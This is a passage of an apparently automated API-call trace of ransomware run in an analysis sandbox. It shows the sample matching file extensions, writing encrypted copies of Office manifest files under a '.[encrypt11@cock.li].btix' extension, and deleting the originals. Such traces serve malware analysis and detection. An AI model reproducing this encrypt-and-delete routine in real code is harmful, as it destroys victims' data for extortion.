Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.945] lstrlenW (lpString=".dbf") returned 4 [0049.945] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.945] lstrlenW (lpString=".1cd") returned 4 [0049.945] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.945] lstrlenW (lpString=".jpg") returned 4 [0049.945] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.945] lstrlenW (lpString=".doc") returned 4 [0049.945] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.945] lstrlenW (lpString=".docx") returned 5 [0049.945] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.945] lstrlenW (lpString=".pdf") returned 4 [0049.946] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.946] lstrlenW (lpString=".xls") returned 4 [0049.946] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.946] lstrlenW (lpString=".xlsx") returned 5 [0049.946] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.946] lstrlenW (lpString=".ppt") returned 4 [0049.946] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.946] lstrlenW (lpString=".zip") returned 4 [0049.946] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.946] lstrlenW (lpString=".rar") returned 4 [0049.946] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.946] lstrlenW (lpString=".bz2") returned 4 [0049.946] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.946] lstrlenW (lpString=".7z") returned 3 [0049.946] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.946] lstrlenW (lpString=".dbf") returned 4 [0049.946] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.946] lstrlenW (lpString=".1cd") returned 4 [0049.946] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.946] lstrlenW (lpString=".jpg") returned 4 [0049.946] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.947] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.947] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0049.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0049.947] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=1261) returned 1 [0049.947] CloseHandle (hObject=0x344) returned 1 [0049.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0049.947] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.947] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.948] GetLastError () returned 0x0 [0049.948] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0050.179] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0050.180] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0050.180] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.180] SetEndOfFile (hFile=0x328) returned 1 [0050.180] CloseHandle (hObject=0x328) returned 1 [0050.181] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.181] SetEndOfFile (hFile=0x344) returned 1 [0050.182] CloseHandle (hObject=0x344) returned 1 [0050.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0050.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.182] lstrlenW (lpString=".doc") returned 4 [0050.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.182] lstrlenW (lpString=".docx") returned 5 [0050.182] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.182] lstrlenW (lpString=".pdf") returned 4 [0050.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.182] lstrlenW (lpString=".xls") returned 4 [0050.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.182] lstrlenW (lpString=".xlsx") returned 5 [0050.182] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.182] lstrlenW (lpString=".ppt") returned 4 [0050.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.183] lstrlenW (lpString=".zip") returned 4 [0050.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.183] lstrlenW (lpString=".rar") returned 4 [0050.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString=".bz2") returned 4 [0050.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString=".7z") returned 3 [0050.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.183] lstrlenW (lpString=".dbf") returned 4 [0050.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.183] lstrlenW (lpString=".1cd") returned 4 [0050.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.183] lstrlenW (lpString=".jpg") returned 4 [0050.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.183] lstrlenW (lpString=".doc") returned 4 [0050.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString=".docx") returned 5 [0050.183] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.183] lstrlenW (lpString=".pdf") returned 4 [0050.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString=".xls") returned 4 [0050.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString=".xlsx") returned 5 [0050.183] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.183] lstrlenW (lpString=".ppt") returned 4 [0050.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.183] lstrlenW (lpString=".zip") returned 4 [0050.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.183] lstrlenW (lpString=".rar") returned 4 [0050.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.184] lstrlenW (lpString=".bz2") returned 4 [0050.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.184] lstrlenW (lpString=".7z") returned 3 [0050.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.184] lstrlenW (lpString=".dbf") returned 4 [0050.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.184] lstrlenW (lpString=".1cd") returned 4 [0050.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0050.184] lstrlenW (lpString=".jpg") returned 4 [0050.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.184] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.184] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0050.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0050.184] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=3754) returned 1 [0050.184] CloseHandle (hObject=0x344) returned 1 [0050.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0050.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0050.185] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.185] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.185] GetLastError () returned 0x0 [0050.185] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xeaa, lpOverlapped=0x0) returned 1 [0050.221] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xeb0, lpOverlapped=0x0) returned 1 [0050.221] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0050.221] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.221] SetEndOfFile (hFile=0x328) returned 1 [0050.222] CloseHandle (hObject=0x328) returned 1 [0050.222] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.222] SetEndOfFile (hFile=0x344) returned 1 [0050.223] CloseHandle (hObject=0x344) returned 1 [0050.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0050.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.224] lstrlenW (lpString=".doc") returned 4 [0050.224] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.224] lstrlenW (lpString=".docx") returned 5 [0050.224] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.224] lstrlenW (lpString=".pdf") returned 4 [0050.224] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.224] lstrlenW (lpString=".xls") returned 4 [0050.224] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.224] lstrlenW (lpString=".xlsx") returned 5 [0050.224] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.224] lstrlenW (lpString=".ppt") returned 4 [0050.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.224] lstrlenW (lpString=".zip") returned 4 [0050.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.224] lstrlenW (lpString=".rar") returned 4 [0050.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.224] lstrlenW (lpString=".bz2") returned 4 [0050.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.224] lstrlenW (lpString=".7z") returned 3 [0050.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.224] lstrlenW (lpString=".dbf") returned 4 [0050.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.224] lstrlenW (lpString=".1cd") returned 4 [0050.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.225] lstrlenW (lpString=".jpg") returned 4 [0050.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.225] lstrlenW (lpString=".doc") returned 4 [0050.225] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString=".docx") returned 5 [0050.225] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.225] lstrlenW (lpString=".pdf") returned 4 [0050.225] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString=".xls") returned 4 [0050.225] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString=".xlsx") returned 5 [0050.225] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.225] lstrlenW (lpString=".ppt") returned 4 [0050.225] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.225] lstrlenW (lpString=".zip") returned 4 [0050.225] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.225] lstrlenW (lpString=".rar") returned 4 [0050.225] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString=".bz2") returned 4 [0050.225] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString=".7z") returned 3 [0050.225] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.225] lstrlenW (lpString=".dbf") returned 4 [0050.225] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.225] lstrlenW (lpString=".1cd") returned 4 [0050.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0050.225] lstrlenW (lpString=".jpg") returned 4 [0050.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.226] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.226] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0050.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0050.226] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=527958) returned 1 [0050.226] CloseHandle (hObject=0x344) returned 1 [0050.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0050.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0050.226] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.226] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.227] GetLastError () returned 0x0 [0050.227] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x80e56, lpOverlapped=0x0) returned 1 [0050.389] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x80e60, lpOverlapped=0x0) returned 1 [0050.512] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0050.512] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.512] SetEndOfFile (hFile=0x328) returned 1 [0050.512] CloseHandle (hObject=0x328) returned 1 [0050.523] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0050.523] SetEndOfFile (hFile=0x344) returned 1 [0050.527] CloseHandle (hObject=0x344) returned 1 [0050.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0050.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0050.570] lstrlenW (lpString=".doc") returned 4 [0050.570] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.570] lstrlenW (lpString=".docx") returned 5 [0050.570] 